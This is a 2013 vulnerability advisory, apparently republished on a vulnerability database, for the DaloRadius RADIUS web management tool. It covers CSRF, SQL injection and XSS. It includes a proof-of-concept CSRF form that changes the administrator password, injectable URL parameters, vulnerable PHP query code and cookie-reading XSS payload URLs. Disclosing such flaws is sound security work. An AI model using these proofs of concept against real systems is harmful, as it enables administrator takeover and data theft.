DaloRadius - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
DaloRadius software has multiple vulnerabilities including CSRF on all locations, SQL Injection in various script URLs

                                                -------------------------------------------------------------------------
# Software      : DaloRadius    SQLi / CSRF / XSS                                                                                                            
# Author        : Saadat Ullah , [email protected]                               
# Author home	: http://security-geeks.blogspot.com
# Date          : 15/3/13   
# Vendors	: http://www.daloradius.com/ 
# Download Link : http://sourceforge.net/projects/daloradius/   
                                                                                     
-------------------------------------------------------------------------
+---+[ CSRF Change Admin Password ]+---+

DaloRadius Is not Using Any Security Tokens To Protect Againts CRSF.It is vuln to CRSF on All Locations.
Some OF them..
Change Admin Password

&#60;form action=&#34;daloradius/config-operators-edit.php&#34; method=&#34;post&#34;&#62;
				&#60;input type=&#34;hidden&#34; value=&#34;administrator&#34; name=&#34;operator_username&#34; /&#62;

&#60;div class=&#34;tabber&#34;&#62;

     &#60;div class=&#34;tabbertab&#34; title=&#34;Operator Info&#34;&#62;

	&#60;fieldset&#62;
	
		&#60;h302&#62;&#60;/h302&#62;
		&#60;br/&#62;

                &#60;label for=&#39;operator_password&#39; class=&#39;form&#39;&#62;&#60;/label&#62;
                &#60;input name=&#39;password&#39; id=&#39;password&#39;
		type=&#39;hidden&#39;			value=&#39;radius1&#39; tabindex=101 /&#62;
                &#60;br/&#62;

                &#60;br/&#62;&#60;br/&#62;
                &#60;hr&#62;&#60;br/&#62;

                &#60;input type=&#39;submit&#39; name=&#39;submit&#39; value=&#39;Apply&#39; class=&#39;button&#39; /&#62;

Poc
Header
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost/daloradius/config-operators-edit.php?operator_username=administrator
Cookie: PHPSESSID=5f528764d624db129645be2e9
Content-Type: application/x-www-form-urlencoded
Content-Length: 3540

Post Data:
operator_username=administrator&password=radius1&submit=Apply

+---+[ SQL Injection ]+---+

Their are multiple SQLI in the script some are..
http://localhost/daloradius/acct-ipaddress.php?orderBy=[SQLi]
http://localhost/daloradius/acct-ipaddress.php?ipaddress=[SQLi]
http://localhost/daloradius/acct-date.php?orderBy=[SQLi]
http://localhost/daloradius/acct-date.php?username=[SQLi] etc

Proof Of Concept
in acct-ipaddress.php

isset($_GET[&#39;orderBy&#39;]) ? $orderBy = $_GET[&#39;orderBy&#39;] : $orderBy = &#34;radacctid&#34;;
	isset($_GET[&#39;orderType&#39;]) ? $orderType = $_GET[&#39;orderType&#39;] : $orderType = &#34;asc&#34;;	


	isset($_GET[&#39;ipaddress&#39;]) ? $ipaddress = $_GET[&#39;ipaddress&#39;] : $ipaddress = &#34;&#34;;

	.
	.
	.
 $sql = &#34;SELECT &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.RadAcctId, &#34;.$configValues[&#39;CONFIG_DB_TBL_DALOHOTSPOTS&#39;].&#34;.name as hotspot, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.UserName, radacct.FramedIPAddress, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.AcctStartTime, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.AcctStopTime, radacct.AcctSessionTime, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.AcctInputOctets, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.AcctOutputOctets, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.AcctTerminateCause, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.NASIPAddress FROM &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34; LEFT JOIN &#34;.$configValues[&#39;CONFIG_DB_TBL_DALOHOTSPOTS&#39;].&#34; ON &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.calledstationid = &#34;.$configValues[&#39;CONFIG_DB_TBL_DALOHOTSPOTS&#39;].&#34;.mac WHERE FramedIPAddress=&#39;$ipaddress&#39;;&#34;;


In acct-date.php
if ( (isset($_GET[&#39;username&#39;])) && ($_GET[&#39;username&#39;]) ) {
		$username = $_GET[&#39;username&#39;];



  $sql = &#34;SELECT &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.RadAcctId, &#34;.$configValues[&#39;CONFIG_DB_TBL_DALOHOTSPOTS&#39;].&#34;.name as hotspot, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.UserName, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.FramedIPAddress, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.AcctStartTime, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.AcctStopTime, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.AcctSessionTime, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.AcctInputOctets, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.AcctOutputOctets, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.AcctTerminateCause, &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.NASIPAddress FROM &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34; LEFT JOIN &#34;.$configValues[&#39;CONFIG_DB_TBL_DALOHOTSPOTS&#39;].&#34; ON &#34;.$configValues[&#39;CONFIG_DB_TBL_RADACCT&#39;].&#34;.calledstationid = &#34;.$configValues[&#39;CONFIG_DB_TBL_DALOHOTSPOTS&#39;].&#34;.mac WHERE AcctStartTime&#62;&#39;$startdate&#39; and AcctStartTime&#60;&#39;$enddate&#39; and UserName like &#39;$username&#39;;&#34;;



+---+[ XSS ]+---+
http://localhost/daloradius/rep-logs-daloradius.php?daloradiusLineCount=50&daloradiusFilter=&#60;script&#62;alert(document.cookie);&#60;/script&#62;
http://localhost/daloradius/mng-search.php?username=&#60;script&#62;alert(document.cookie);&#60;/script&#62;

#Independent Pakistani Security Researcher
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1